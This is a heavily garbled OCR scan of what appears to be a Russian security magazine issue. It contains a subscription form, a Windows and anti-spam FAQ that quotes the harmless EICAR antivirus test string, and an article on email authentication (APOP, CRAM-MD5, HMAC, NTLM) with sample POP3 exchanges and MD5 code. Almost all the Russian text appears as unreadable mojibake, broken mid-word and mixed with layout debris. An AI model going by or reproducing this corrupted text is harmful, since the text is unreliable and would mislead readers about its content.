LOKYMEHTOB MO MOYTOBOMY afpecy pefakunu.
PexomeHayem ncnonb3oBaThb (PaKC MU N1IEKTPOHHYIO
nouTy, B nodiefHeM ciy4yae npegBapuUTeNibHO OTCKaHUPO-
BaB wn cportorpadmpoBaB LOKYMEHTbI.
MNMopnucka opopmnsieTcs C HOMepa, BbIXOAALLEro Yepes OAMH
KaneHpapHbIN Mecau, nocne onnatbl. Hanpumep, ecnn Bbl npoms-
BOAWTE onnaTy B HoA0pe, To XypHan OyaeTe nonyyatb C AHBAPS.

Moarcka Ha xypHan «Xakep Cret» Ha 6 mecsiLes crouT 1020 py©6.
[MoAapPOHHble XKyPHaTTbI NPV STOM He BbIChIIAKOTCS

|—|O BCEM BOl—l POCAM CBA3AHHbBIM CMOAMMNCKOW, 3BOHWUTE MO BECMIATHBIM TENEQOHAM 8(495)780-

y 88-29 (018 MOCKBMYEN) 1 8(800)200-3-999 (4149 XUTENEN APYIUX
PETVIOHOB POCCUN, ABOHEHTOB CETEN MTC, BUTAMH U META®OH). BOMPOCHI O MOANMUCKE MOXHO TAKXE HAMPABAATb MO AIPECY
INFO@GLC.RU 1nu nroscHWTL HA CANTE WWW.XAKEP.RU

noaAnMcCHOMN KYMNOH
rMPOLLY OOGOPMUTL MOAMNCKY
HA KYPHAJT «XAKEP CMELL»

‘ MHH 7729410015 OO0 «leitm JTaHa»
[] Ha 6 mecsaues Vissemenme
12 3A0 MMbB
H MecsueB
[ wa 12 mecaue p/c Ne 40702810700010298407
HaumHas ¢ 200_r.
k/c Ne 30101810300000000545
Mpowy Bbicnatb 6ecnnaTtHbIn HoMep BUK 044525545 KM - 772901001
XypHana
MnaTtenblymk
Anpec (c Haekcom)
D ,D.OCTaBJ'IﬂTb XypHan no no4yre
Ha AoMaLuHWI agpec
HasHaueHne nnartexa Cymma
I:‘ [ocTaBnsaTh XXypHan KypbepoMm Ha
anpec odpuca (no r. Mockee) Onnara xyprana « I=F1ELL ,
Mogpo6Hee 0 KypbepcKol A4oCTaBKe YATanTe Hvke™ | c 200_r.
(oTmeTbTe KBafpat BbIGpaHHOro BapuaHTa noanucku) N0 meenu
®.N.0. accup Mognuck nnaTenbLymka
‘ . ; . r
4313 poxd D : D = ‘ WMHH 7729410015 000 «Teim NaHay
KBuraunmsa
AOPEC OOCTABKM: ‘ 3A0 MMB
VHOEKC ‘ p/c Ne 40702810700010298407
obnacTh/kpait k/c Ne 30101810300000000545
. ropon BUK 044525545 KM - 772901001
{ynuua MnaTtenbLmk
oom Kopnyc Anpec (C nHaekcom)
KBapTupa/odmc
Teredon ( ) HasHauyeHue nnatexa Cymma
: . e Onnata xypHana « —rriEsLy |,
¢ e-mail
‘ c 200_r.
CyMMa onnarthbl MecAal
K ‘ o.1.0.
YpbepcKasa AOoCTaBKa OCYLLEeCTBIIAETCA TONMbKO No Mockse
ot anpes i 1aananbe dubmLr & nomrcHon Kynone.  Kaccyp Moanuce nnatensLuvka
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6 080T TETACE. Taadpfil, TTa 0aTao TAGATE &g na-
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. ~ A s A O <A~
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ATNOA0OTE 808820080 &6y whitehat.
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' xEOAAU «OAEAD»? x0T 1TEAQU
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trag.ru. 16, & 4a26l@8 — & @@dl €& 48040 TT 0Té e&e
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, EREAPU

E NOADA
TFFTOPIC: TTaTa00 T ATE644 TA0ATac0ea T
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aia Anti Spammer, Bounce
Spam Mail, MailWasher, Spam
Punisher, SpamWasher

& WinAntiSpam. Tréfiared
AaMiTa 60A06Ta,

T 4TH0a0T+1Ta 48y TAAAT
Todanoaasdiey. Nideee,
3448 fiea+aol, e1apony.
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TUPOAD, TAPDAA YOET
AOTPDAEAATEA. CTAET
CAEE, x0T YOT AEPON.
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E
ANEE TAEAO TADACAAPOGEATE
3 TA ONTAAAP AAEA ONOATTAEOU

T6p TAGACAABOCES TTRIT To-
0l ETTaTaTé «shutdown -a». A&y 64Ta-

caaol bat-6aéé e caroneact aaT roe

&y 6aaearey +asay a

eée NTradeadiiTé dzaian

yreadieyo 11T1aed aroeaedonica eTiraiee adronéa-

EAE OCTAOU, 0DAAOPORNR

EE TATTAEATER AER TTAE
TTADAGETIITE NENOATU?

ANEE OPAAOPONR, OT AAA ETTEDAO-
T OEE?

OETUA CATEAOEE?

IT NEAxAQU

Security Analyzer 2.0».
440 044y TT aadans: ww)
ty/tools/mbsahome.mspx.

ToTa041 1A Troda4eyas T1age-ed aéooae
Tagaieé 14 0TEUET &y A0eTTIT a,
€ 46y GAETAT dyaa T0 Microsoft: Internet
Information Server (IIS) SQL Server, Office & 466aed.

e

Oaéed TOTAAdYPORY 486388 TadaTA080 A4¢TTaR-

.microsoft.com/technet/securi-

S -

T x—a 2

16Taddyou 1
1T & 6&éop 1TTanaou.

TAEEEATONEEO ETITUPOADAOD

N COAONR TTAPAOETITAR
NENOATA WINDOWS XP PROFESIONAL
T AOTPOT NAPAEN-TAETT.

TATTUE FIREWALL N T

OTTTAUO TTEEOEE?

yda Windows, Ta6Tayony & Thiafoed MMC «A36TT
TTEe088a» (gpedit.msc) & dacaded « TTée0eea ETEABH-
TT4T éT1 Tip0ada» (Local Computer Policy). OfidaiTae
a1

da\AaT efefodaceai i @aasTi0\N&oi\Naodana 1Tae-
ép+aiey\Adaiaiacyd Windows» (Computer Configu-
ration\Administrative Templates\Network\Network Con-
nections\Windows Firewall) & TaTéad « 1dTOSEN 4T &

fa» (Domain Profile) & «Noaraasoité ToTOeél»
(Standard Profile).
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A0 0
A&y TOTAddEE BAATOTH

o6fiTé ToTadai 10 enn

fay o

A meX A Neezsa 8 AmAxA L A~ A

01 a, T8é ¢aTonea eToToTé AtiaTA0MY ATTAUIA-
&: «EICAR-STANDARD-ANTIVIRUS-TEST-FILE!».

001 35T aé «EICAR test filex.



,fiTcaad a aé

1
08 OAGE, ITAAGRATIRE HOBTES: «X50IPY%@AP[4\PZX-
54(P")7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILEISH+H*». E&e féa+aoi i nadaada EaaToaotoee

EanTABRETAT: ftp://ftp.kaspersky.com/utils/eicar/eicar.com.

TA TTAO ECAAAEOUNR TO AEDONA!
ATOEAEDON TAOTAEO AAT,
TDAAEAAAAO OAAEEOU TOHE
TADACAADOCEA, TT TTRNEA
TADACAADOGCEE AEDON TOTATEEAAOD
DAATOAOU! THE TTTUOEA OAAEATER

APOxTOP AUAAAONR TOEAEA:
«AENE TADATTETAT EEE CAUEUAT
TO CATENE, EEAT OAEE GCAIRO
APOAET

TDEETAATEAT ».

0w o
e g4

-
Qo =)

;-
o Qo O Qo

TAPANOAE TATTAEROUNR
ATOEAEDON. TOOAAONR NTAAETEOURNR
N NAPAADPTT TATTAEATEE,
ITTTTOTT AUAAAO TOEAEO.

N ETOADTAOTT ANA A TTDRAEA
ToT2400 Oaéé HOSTS, danTTéTeaTT0e TT

2a8406: \Windows\System32\drivers\etc\hosts.

TAEETAPO CTRL+ALT+DEL, xOTAU
ApOxTOP AAANOE ETAET E TAPTEU.
CAxAT YOT AAEAAONR? YOT A£A OAE

a
0. ATe& TTadTa-
www.academy.fsh.ru/-
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20a86pUIAT 6 46y aTrodTa

T OgTaol 14 0TEUET TadTel,

Ange ATTACIA0N TAOTED A& T & Tef00a0ToA +8ET-
2380, enTTelcopIal 6 T8TAdaT 10, 1aead8a0asuTT, OT
fieda6ao aTirTelcTaaouny aairéaoiTé ToTadai 11é

T AdmiLink. Naéo v3T48a1 1 Q: http://admilink.narod.ru.
Tan
¢TrafiTcoe — TPE CATONEA TAETOTPUO
ITE0-GTaa0aéy a a TOTADATT AADPOA NOAET

TTRAEROURNR TETT «TQOEAEA

Eép+: [HKEY_LOCAL_MACHINE\SOFTWARE\ TATROU TA TTEAO0 AUOU
Microsoft\Windows NT\CurrentVersion\ THOTx0ATA». N xA1 YOT NABGATT
Winlogon] 1T ATDTOUNR?

Tasai&od: DontDisplaylLastUserName
0&éT: REG_SZ

E TAETOTHUT TATEAT TA NAPAADPA
ODAAOGAONR ATNOOT TT NAOE.

/) =)

NTAADAETTAT
TAEAEAOAEAT.

=)

ODOATEEATE
ApA

ATNOOTA TA TTAO, OAE EAE

TAPAUAPNU E TATEAT N PAGTUOO

ETTITUPOADTA EC-TTA PACTUO

OxAOTUO CATENAE. EAE TTNOOTEOU?

a
ep+
0 10 10, 036 € 46y TTA6a0eTIiTé Ienddia & 6ae AT-
AE O0DE E TA AA 834 TTadTATOp eTOoTdiavep +eoaé 1T aadano:
ETTITUPOAPA E TA ATROOTTUO ATO http://support.microsoft.com/?kbid=875352.
NAOAAUO PANODRNAOG TExAAT TA AAAO. Arée 0aTé eTTTip0o&d 6aaT0a40 Ta 64-4801T1
AAGAA OTEUET TOENTUA ATEOTAT- TOTOANATSA AMD Athlon, aTrasao
0U. GATONEAATUO OAEETA TAO. 1] 402ETé DEP, 0T TTT ol &
ToTOANNTOA, fica+aa
ETIATEUTAY éTTaTaa «start» TTcATéY&0 ca-  www.amd.com.

Ane

e
&1, BeaT aTT. & fa Taéé+ed arradaoiad
N: = Documents and Settings — User>file.doc», 448 fAaTaa eé&é Tadaooify é dacoaaTo+ee6 ToTadai i .
ile.d
AER DPAATOU NTODOATEEA
OPAAOPORNR THDAAA
AATETERNOPAOTHPA. TTANAPNU,
x0T YOTO xAETAAE THE
TTETYol 0TEUET dacdaaai 1(1a ToeETeaiey Windows». ECTATEO TA

AATETENODAOT
TTA. TDEAAONR TT

TADPAONOATAAEEAAOU
A YOT EPAETA

o
-
>
=
=)
-

\\\\ AATETENODAOTDA.
OATTAEA PACPADGATEE
TTEUCOATUOA EAOAETAE

AE PAANOPA TExAAT TA AAAO!

-
o
M
b
m:
>
o
o
m:
=
-
=)

fiy & iTdadéa windows €©
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AKA _MIF_

dacdaaTo=ee T1
& fieasTBac-6pAaco&EI.

ww.vr-online.ru, aaoTa

E¢ @caafoiTaT — yaot 11 éied Ta 06ARETT

Outpost Personal Firewall, & 4 Ta aidéeénéti ycheéa. e Taoeaé 1o

RO . ) . PR

1Taai Russian Courier. é BSD-féficatat,
ToTo4nneTiagiing 2104664600a60T0T eadai

e

€ 0TETAITIO Téao.

128 A~e N ergx e
0agadTiey, eioadiac e 0.a.

e fivaééaxaie

< i 620452060T6.

AER ECADAT

>&

-
T Ol Oy

I
ANA EE AAET A «EDE o
AAAU AUPEE TTADAOE EE
AAC RTAOEAEUTUOO ATEE
TA CAEPOOU. TTEOxAAONR,
x0T AACTTANTTNOU —
1007



[ONESY
N

L

fi=

T
xanoT Teé@ao fa naéo ane
260Taea «0adéd». A 2005 M
iTa0 atée fara+acaid Ta

aa

i

iraoeagenoa Microsoft
e dacdadTo-eéa
TOeETeATEE Ta CH
TTa .NET.

- O =
P =)

-

Windows, 4éadtaady é1o1o0

m

' xAAT EAAGU
TO WINDOWS VISTA?

) = O M

- (D’ wm/ =) OX

88y «ToTaae16000»

®d 4841y 1034

_m;g;mf
-mm-)
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Windows XP AaTaé TaTROTOTE, 641

+80841T betal, beta2 & RC1. TTyoT-
436 V, 4 TASA6p T+A5AAl, TOT-

1 faToéone.

a, Badoeiée y 6ed 4eade a

DAEEU NAAEDTA
bacdaaTo+eé, fodaaio-

& ~afioiThoe,
3proxy (www.security.
nnov.ru/soft/3proxy/).

T6+34T JAATEPOETTITAT 14 46440.
: &¢ fiday 184anoaaeyao.
fia1aéfioaa Windows.

nternet Explorer, 1

ITCATA& — ¢a+aol

ATRNOAOTTT EE TA EEEATONETE
TAQGETA OAEPATEA, xO0TAU
R NOOT

>

) - 2y
Do
Qe

- - O
8

P D -

adal Tdeed86+-eaa

s6me (TASHT
T TiP0AdA




TEETEAE ATADPAAA
«GORL»

DAaaéoTo eodfaca

RUECEGES

50408684 «ETa&Ta».

Yé

84428070 @0dTaca

'Té fioaod

2y

273 0E DO —
T84aTa0 afaéécae

T

&y. Ofiodaeaado

TTATAT 48CTAGATTAT
+80ay=8a. TATAIT 0ae.

TTxATO OAETE AE
EAE MICROSOFT TA TTAEAO NAAEAOU

PAAEUTT AACTTANTOP RENOATO?

89

javascript & 0.4.), 4déapo ®eeé¢ii T1aa aes ifop Ta 1] a0é fiaéo
Ta0+10é TTélgTAd0480 TARTTATAAT. E, 4 8pAaT1 Né6+ad, 43xa 6TOTET 1an0dTAT 104 OAEDATED T4 43P0
100% cauieoq, a éegl fifeeapo defié.

TEOAEE OEATTA: x0T4( +6afi0aTaddl iday eT1 OTOOIT, 86+3a T8
T, 0T 6 TATYy 088 T TUpoa faTaitiéci &T af
yedaia, & Ti 7é dago T4 T &Yy 4
\ scoy

i

Windows XP. Tae yo

Toop 3a4T06 8pas b Ta+efoT TA0A+A08 160U TTEICTAA0RE

a 90% TaToa . Aé
AoTyTiay énoai

aee

T

=\ -
m g

ay ana oneTaey agy
ol gaée. AlId aT8TETT &
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4386ypLidd aTelzeinod
& 76T Windows API. N&

®AB0A0NY, TATOTOSE, TOTAdAT 1 efoh

AOATT BACBAATO~
— 48634y, fA0&A0P — 08
0adony ana 4380l faia
EEDEEE AEAZEAT

ox~na2

Toe a4t aa

o xries o
afenodia —

(0 i
A6eaataadiaie a 1éo6 sanoonaie. & fi, +0 a
i N

0aey yaoa fi TTelcTaao
- P O oo . .

. E 0aéay TN a6aa iTiadaiue : TEUET 8340. Vista,
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afioasdo —

ATPTNOTA
OADPE.

=)

2
o
m

AAE ATEUDAE AACTTANT

— AAZEA OATANOATT TTEUCTAAOAEAE TTAADOATAA
A DANOADCATEA OAEADAT, xOTAU C

— VISTA AAAAEANU

o =~

efaol Ta Taei oTT,

o61é06e

TTéucopiu ipfw, a 46y MS Windows Ta1
"TeedaBoé, 44a 66448aTT éa+

T

arTé1a aTnoao

Tyy 44T aaddney atiod anyees
iTé farTélcopiiu eie aT1deio

e
o
gaa
yé afoeaedon, A1Taoo aaeaé

i
e0ael




AACTTANTTNOU TOTOTETETA YEAEOD
3APA3A (WWW.SECUR
DPTTAT EOETATEETA

dacee=T00 caréaoté e caol+aé 4 aead
ao6aed foaraadota e TOTOTETETA, TO-
dapuiediy naadeaoct daaToo i yeaeosTi-
iTé TT=0Té TANETEUET Aa¢TTaniaé.
1T afd yoé caoh+ée ei1&po TaTayca-
046UTOE 0adakodd, a cia+eo, TT édaé-
74é 1383, 4 4Téleinioad eTioedoda-
afep» ana TeéTot.
TaTa8dl1 a Tonoonoaey adcTran-

Tadaaadaol 4e1adiod aaf

746 & BinHex Ta 1aéei0Twad. E and
yoT 14240 ITATE 1€8aé Ta ayca&Tiiu.
Eéaii 4 1992 4T40 a0iéa Toe1yoa ad0T-
Ta fioraraasota MIME (Multipurpose In-
ternet Mail Extension), TTGATEY
Ta0a4aaa0l 1T yeaeosT
aariaa, 03 T0 ASCII-04éfioa.
1 araie roTagaiaie 1+
0Ta00 TOTOTETETA Yyaeypony:

~o o~

1 TBTAEATU N AGOATOEOE-

EAGEAE.
2 TETAEATO N ATCTTA-
OAAOTT NTTA-

TADAGAAOT

UATER THE ATNOAAEA TA
NADAAD EEE TO NADAADPA.

4 iaTal écia+aeliTi Aadeaiod 1da-
401 acdeaae adoaioedeeanep ef-
86p+€0AEUTT & TORSOIOTT 0aéM0a i 1T-

TITTE TTx00
ITY.NNOV.RU)
LRB@SANDY.RU)

Tuip éTi1aia USER & PASS. OT
anou fdarn adodioededacee atiaéyaeo
TOETASTT iedadpuie TadacTi:
<<+OK 3APA3A/POP3-3.0-beta<8231.
1158097553@mai I .example.com>
>>USER myusername

<<+OK Password Please

>>PASS mystrongpassword

Tde andé naTaé oycaeiTioe é Tadao-
4200, adoaroedesavey a ToedaoT1
086104 yaeyaony daeinodarine, rée
&TOTOTé 14 08aadaoiy odaTared Ta-
8Tey Ta 1adadsad a Toed00TT 036éfiod
eee firdoeasl

17460 400l efrTéucTaaiq, farse-
149, crypt-radtee.

0aeay adoaioe-

O&é. A 1996 4Ta6 TaiTagaiTay aad-
fiey fidvataadoa, RFC 1939, aataes iT-
0é aTTTéTecdéuiaé Tadaieci ao-
foedeeavee APOP. T+4afi fiodai-
0é é 1én+ai 1antTaianceiae —
TATTaai1Gé 1a cardTna-Toadod

N9 AN A NAN AN

-\ O
) o

THA
(Challenge-Response). N&da&a, 1Ta-
addxeadapuieé aairaé iddaiéeci ao-
4 1oeadonoaee 6ieéaduiop fodTeo,
caéep+aiiop a 6aeTana nétaée.

<<+0K 3APA3A/POP3-3.0-beta<8231.
1158097553@mai l .example.com>

NodTéa 8231.1158097553@mail.exam-
ple.com yaéyaony cardTiti. xotad ad-
+efieeoll T0ado, TT+0Talé NABAAd ETT
82041638040 é yoTé NOSTEA TadTel
¢Taaodey, at+enéyao 1o TTé
fi08Tée Oy MD5 & 4aedd 4ado éTiai-
46 APOP il éTaTal TTeUgTAA0dEY e TT-
eo+-eameiny oyoal a 16-0e+iT1é éTae-
Taéd. MD5("8231.1158097553@ma-
il.example.commystrongpassword") =

96551da2fa191305810d14c8945¢4085.

>>APOP myusername
1cf86d5764a89dfc40alf32
cc20613ac

N&oa&d an+eneyéo aiaérae+iop
f0dTes & fdaaTeaads dagoeioand.

2~

xXal

éaoee, édT1a 0
aaado e n Tarel

041, +0T NAda&d Taycar 6da
OTél & Toed00TT 086M04. A fe6+ad

2
®&ao

0Ta0a a3aioa, 1ardsei1as Mozilla

Thunderbird, aa0T1aoé+afnée Thoapo-
iy Tadaeep+eoliy Ta acoaroedesda-
0&p APOP, aiiéé a daiiada nadaada
TOEM60N0adpo 6a6Ta0A féTaée.

- CRAM-MDS5. A 1997 4T40 TTyaeé-
fiy fioafaado RFC 2195, TIddaaéyp-
ieé Tadaieci acoaioedesasee chal-
lenge-response a&y IMAP & POP3 (0aé
Tac04aa&i 0é CRAM). Noaiaado 1Ted0
UcTaaoufy fi epare eoel 3

TETO 0a6Té ATTATA adoaioede-

N .~ o

P

A~ o~ 9

da-
Oe+&MeTé Oym-O6T6084¢, TaTde140
fi CRAM-MD5, CRAM-MD4, CRAM-
SHAL1 & 6.4. Noaraado Tredadony

fa fidaraado oTaT «a dTaa RFC 2104,

Ny

a0ou 1Toeviar.

a1 1TaT efoToee
TAPAAR AADNER THOTOTETEA TAPAAAXE TTx0U (OTAAA AUA
MTP) TTRAEEANU A 1980 ATAO. A 1981 TTRAEENR TOTOTETE
SMTP, ETOTBUE ENTTEUGCOAONR TT NAE AATU. A 1982 AUE TDE-
TR0 ATEOTATO RFC 822, ETOTPUE RAERAONR NOATAABOT T TDT-
OTETEA SMTP OAE £A TT NAE AATU, E NTTOONOAOPUEE A10
RFC 822, TIDAAAERPUEE OTPTAO TTxOTATAT NTTAUAITER.

A 2001 A EAxANOAA TPAAETAATITTAT NOATAADOA AUEE TPEIR-
00 ATEOTATOU RFC 2821/2822, TT ECAEOU NOATAADO RFC 822
AT NEO TTD TA OAAAONR.

TO EAE AUAERAAEA NENOATA YEAEOPTITTE TTx00 A OA TET-
APNEEA ADATATA. YEAEODTTTTA TENUTT ATNOAAERETNU
'T AADANO TTEUGTAAOAER E EEAETNU A AAT TT=xOTAUE RUEE.

TOADTAO AUE A CADTAUDA, A TADNTTAETE A NAOE TA AUET

- - >

NA. TNTTATE NAOE A OA ADATATA AUEE TAETOPAETU
TITATITEUCTAAOAEUNEETE NENOATATE, E TA EAZATI

1 T TTxOTAUO RUEETA PACEExTUO TTEUCT-
0 AAPAN YEAEODTITTE TTx0U NEEAAUAAE-
NB EC ETATE T CTAAOAER E AADANA OTNOA, NTAAETATTUO
CTAETT ‘@ (VT-ATAEEENEE AT, OT ANOU «TA»). AAEUGA TTEU-
CTAAOAEU NTTOPAE NATE TT=xOTAUE RUEE ETEAEUTT. NTAxA-
EANTTITUUP TAUXITE TDTAPATTU TEOTNT TOPA OAENOT-
AUO OAEETA, OAE EAE EDT 1A OAENOA A OA ADATATA TExAAT

TA TADAAAAAETNU, A TTOT T TIRAEEENU NTAOEAEUTUA TBE-
ETAATER. OT ANOU TTEUCTAAOAEU ETAE TA TTXOTATT NADAA-

PA «<TTETTAANTOP» OxAOTOP CATENU.

A 1984 ATAO AUE TPETRO NOATAADO TOTOTETEA POP (POST
OFFICE PROTOCOL), TAANTAXEAAPUEE OAAEATTUE ATNOOT
E TTXOTAT 10 BUEEO. A 1984 ATAO — AOTPAR AADNER NOATAAD-

(POP AAPRNEE 3). ETATIT TADA TDTOTETETA POP3/SMTP

RAERPONR TAEATEAA PANTDTNOPATATTUTE AER ATNOOTA

E TT<OTAT 10 RUEEO.



HMAC (Keyed-Hashing for Message

Authentication). HMAC éaé dag & T1da-

448Y40, eaé enTTélcTadol éep+ (A feo-

+ad CRAM &Tél éép+a a0TTéTya0 Ta-

3Tél) ATATanolT fi Oys-00180eaé &

ATTatiaiedi (& fieé+ad CRAM &8Tél fiT-
Tel

Tavarey aorTeiyao digest). HMAC
TIodadeyao ada 16TecaTaito é&p-
+a — afoodaiieé e aidaieé (ikey

& okey). Agy TdeTaTaiey éep+ (0T
anol TadTel) daneedyaony aT daciada
aéTéa (64 aaéoa aey ateuweinoaa eg-
23noT00 a63T6L0T1TA) ToeyTe. Aéy 1T-
&6+aiey ikey aeaté 4aéo TTE+ATIT-
iT 8eép+a «BiToeoRy» AT cia+aiedd
0x36 (ipad), okey — 0x5c (opad). Ca-
041 HMAC at-+eénéyaony éaé
H(okey,H(ikey, text)), 4884 H — 6y@-

667668y (TAT5T45 MD5). CaTye

A9 g =

TaTcia+adony Trada-

2~ Ax A ~

i
4eo0iy & Ta+aed oywedodiad a

MD5 agiTéeoi a6aao ataeyadol oae:
MD5Init(&context);
MD5Update (&context,
MD5Update (&context,
text,text_len);
MD5Final (digest, &context);
MD5Init(&context);
MD5Update(&context, okey, 64);
MD5Update(&context, digest, 16);
MD5Final (digest, &context);

ikey, 64);

MD5Init(&icontext);
MD5Update(&icontext,
MD5Init(&ocontext);
MD5Update(&ocontext, okey, 64);

ikey, 64);

T04éfi0a (icontext e

1 04Tadu ATO-

AS Qma~ ma

dafeol aTanoT

efTTElcTAR0l & Aa6iTAémal . Ange
4000 0T+T44, 0T ATOdATEOU TOEAARY
OTEUET ATAOTY &4 ETT048M0a (con-
TTATATAT TT4 0agT &0 46TéA A8aTHE0-
Ta. x0Tl TTE6+e0l 1T yoeT &Ti0aé-
oAl & 0Aefos TaTasTael ié HMAC,
16 1T aaanoe:

MD5Update(&icontext,
text,text_len);

MD5Final (digest,&icontext);
MD5Update(&ocontext,digest,16);
MD5Final (digest,&ocontext);

<<+OK 3APA3A/POP3-3.0-beta<8231.
1158097553@mail .example.com>
>>AUTH CRAM-MD5
<<+PDE40TYuNjk3MTcwOTUyQHBvC-
3RvZmZpY2UucmVzdG9uLml jaS5uZXQ+
>>dGItIGISMTNhNjAYYzd 1 ZGE3YT-
Q5NWI0ZTZINzMzNGQzODkw

<<+0OK Authenticated

TTied éTiaiad AUTH fiedasdo Chal-
lenge 1483484, ETOTO0E 4a138e8040-
fiy 0aé &4, éaé é aey APOP, 1T Tada-
42807y 4 Base64. 0aé =4 4 Base64
TA0443400y & T0Ado.

48y A60& 1086883688 TT CRAM-MDS.

ET&TTT CRAM-MD5 fidaé fioa-
H300TT i Té 2004708 O&8A-

b&e, — T3T+6& CRAM-1480TA0 13-
TATypofy 633674 G446T.

T2 yoTi 3afisTR0dATA
FOATAAB0 TOA TOTOTETEN A60ATOROREA-
Oee A8 TTEO+ATEY TT+00 catai-eaa-
pory. TTeiT afoda0eoi 4014 DIGEST-
MD5 (6fiTa&d @A TioATAAT Tay A4dReY
CRAM-MD5, +aCi4 T8 14Tya1 4y 48y
A608T0eOEA0EE ATHOOTA & A%4-RS-

aadai) e Kerberos, i
Tie efiTTélcopony T+

=
=
o
Do

410 Ta0Taa acoaioedesasee
he Bat

Genarsl | Datalls | Cartifcstion Path

sFrotects e-mall messages

Certificate Information

This certilicate is intended for the Following purpose(s):

Issued toe  Alice

Issued by: TestCa

valid from 17092006 to 17092007

?? Vou have a privats bay that correspondes to thie caroficats,

; A cerbificats

T 14N0araadoias. Toee+eéy, daco-
1440fYy, Microsoft. TT+0Ta0é i&dadd
Microsoft (0T afou Exchange) aTéaeai
€1033668Taa0uny & ATTATTIOp NOBOE-
0006 e Active Directory € efTTEélgT-
2300 ATTATTOA TadTee. EAITEICT-
aaol aéy adoaioedesavee aTnooTa
APOP ééé CRAM-MD5 T8aT¢iTiT,
0aé éaé 1T o1 Té+aifep radteu fa
Goafeony a ToedtoT1 04énod, a 6da-
feony a aead NT-éép+a (e, anée 7a
caTdATIATT, LM-8ép+a), 6T0TO0E Ta-

ec 1T+

Babee, ca ehsep-aTeaT ToesnoTAT

086fioa. TTyoTi 6 48y ToTOTETEA
POP3 a Microsoft Exchange € Outlook
Express a0é daagécTaai T6T0TETE
NTLM. baagectaai Ti 2T
fiodaiiT, & 0TH Al QR4 +0T TTA440-
®edadofy eTariT NTLM & T3 TTa-
4adxeaapony Teéased 486aea 1T-
ficaatieée adcTraniTioe, oaéed eae
Negotiate éée Kerberos. ETi&

~. 9 e

Outlook Express T+ail A00ATTT T

838ya0 17444880 NTLM fa fiadaada:

ATAROT ToTAd0EE TT CAPA Aadofy
&TTaiad AUTH 43¢ Tada1a00Ta, +oT
TOTORATHA+€0 RFC 1939. A Outlook

Express NTLM-adoaioebeéasey 1i-
+4106-0T Taghaaaony SPA (Secure

3a, a anasaa

TaoTel, il éToT-

1204011y), 0TEUET afée TT+0Taté

40440 0044040 ATTATT6P 6+a0T0p

Express Ta TTa4adxeaado. Microsoft
Outlook 8a&T0ado i Exchange 1T fiTa-
AOAATTTIO TOTOTETES, & 48y aThooTa
TT POP3 éfTTeucopoiy éTiTTiaroa
Outlook Express.

The Bat TT44482€4a40 NTLM-

asoaioedesavep, 1T 18e yoTi en-
TTélgopony ey & TadTel, 6éacai-
708 & 1af0dTéeas. 0aé =4 TTa440-
®éaapofiy CRAM-MD5 & APOP.

x0T 8anadony TT+0Tado fadaa-
374, 0T Tdad0e+anée epaTé asads,
88T14 Microsoft Exchange, 1TTaaédeze-
4ado, éaé iefeioi, CRAM-MDS é DI-
GEST-MD5. TTa440:éa NTLM daaée-
¢Taaia a Communigate Pro e aéaéet-
0864 Cyrus SASL (enTTélcoaony f
Postfix & Courier), TaTaéT efTTelcT-

aaifead NTLM aié ariaia Windows

AA~QA

T1ay00460eailT (Tadzeaaée a024).
A Cyrus TTaaadaéa NTLM 1TA&o yéf-
TadeTaroaeuinaé 6adacodsd e 1T
oiTe+aiép Toeep+ara. O6=a fi TT4-

a4 UW-IMAP & Communigate Pro, a a1

Cyrus SASL & Courier 33T T4 daageco-
po. PaagecTaaci APOP il TdeTaiaie-

2.~ 2

adia fad+eou atiaaaaocu é doareol

fiodTé6 Challenge a 64éTa0o néTaéad
a Téeadonoaee (6ea06ed6a0 6aé pa-
ram — banner).




> oa

fi
4a00 RFC822 écia+aéliT atTatid
TTaaddxeaapo asTé-6e4T adoaroe-

Oeeavee. TTadacolaaadony, +oT aa-

0ToecAGRY TTEICTAA0AEY Ta ATHOOT
& TT+0TaT10 1404400 TOTERGTA
IP-a40410. Tofipaa feaacdo Ta+asu-
106 6aé0 — TOT6AAG0 TeflTT T0

00 TOaaT efirTélcTadol TT+oTaté
ia0aad éaé «daeaé», 0T afol danna-
6aol +adag TaaT refuta.

0aéTé aadeans 6fodaeaado

OTEUeT

JEEGIZEN

flodaéyol aTnooT & naTel

ane Toéadtaf 6eod0é Tadafect, éT1-
0T80é Tachaadony «POP TAd44
SMTP» (POP before SMTP). N6oi 84T
faTagofy & fiedadp il o. Tod=ad
31 TOTBaA&00 TEAUTT, 00 TOTAA0Y-

2

S~ 2

+aéa rotaaoeol 1T

Thodararea.

OTEUET & 1999 4740 a0 Teiyo
fioatéado RFC 2554, éToTo0€é aataeo
604

~..02

TaeaTedd sanTaThodaTaiTal 140T-

aT1 Troadony 1a0Ta adoaioeoesa-
0ée ToedtoaT 046éfoTi (LOGIN éee
PLAIN), iT & 64&TT efTTéilgopony
ana 04 «d 1a0Tad, 0T e 4 POP3
(88T 4, dacoiaaoiy, APOP).

TT 041 =& Tog+erai
POP3, Microsoft Exchange 14 TTa448-
®e48340 CRAM-MD5 ééé DIGEST-MD5,
iT 85T1a NTLM TTa448042400y At1a
& GSSAPI (Kerberos). A Outlook Ex-
press TTaaddeeaadony oTeleT adoai-
0eoeeasey Toédto0aT 046foTi & NTLM
(SPA). Afioll TTATGOATEE, +0T TTaadde-
éa Kerberos & Microsoft Exchange 8aa-
BecTaaia enéep+eodeuiT a6y NeioeT-
fecaoee 1T SMTP Active Directory.

The Bat & 486384 1TT+0
34100, 6aé TOAALET, ToAAEAAAPO
A04TS TaneTeueed aTITerecdenias
08TTA a60aioebeéadee: CRAM-MDS,
DIGEST-MD5 & 0.4. T48T0T604 1T4-
430xeaapo & «POP before SMTP»,
+0TA0 Taéad+eol eecii 04T TTEUCT-

TT+00 TAd34 TOT8aaETE.
IT, & fiTeacdiep, a00aroeoe-
8a6ey a SMTP Troadofy Tatayca-

04él Tea T4da-
4a+e T4 TTYae& TNl 1add=iTaT 1407-
42 T6TAA0Ee aadaia TOTdaae0a8eYy.
TTyoT16 448110AaTTOT AOAAR0ATT
catieol To TTaadeée Thoadony yéae-
ooTTiay Traren.

2 06eO3TA04 Radsoedesann aey
yeae0BTIITE TT+00. EATTEIGHY 6e-
68Ta0a Nasoedesacn, iTeliT oe-
O3Taa0l & TTATentaaol yeaeod
Ta. OeosTadY TT:

46yao0 1adaieci ToTaddee GAETHoTT-

TAZEAO EEEATO

OTAOT GEEATOTT TOTdAAS- [
TOAA000 TOTAddEE HeOdT- 6+801Té carene Aeend e ATaa):
até Trarene e oangedoTace — 1=+
0TAOT BEEATOTT TTE0+A04EY. 1 CATPAGEAAABU

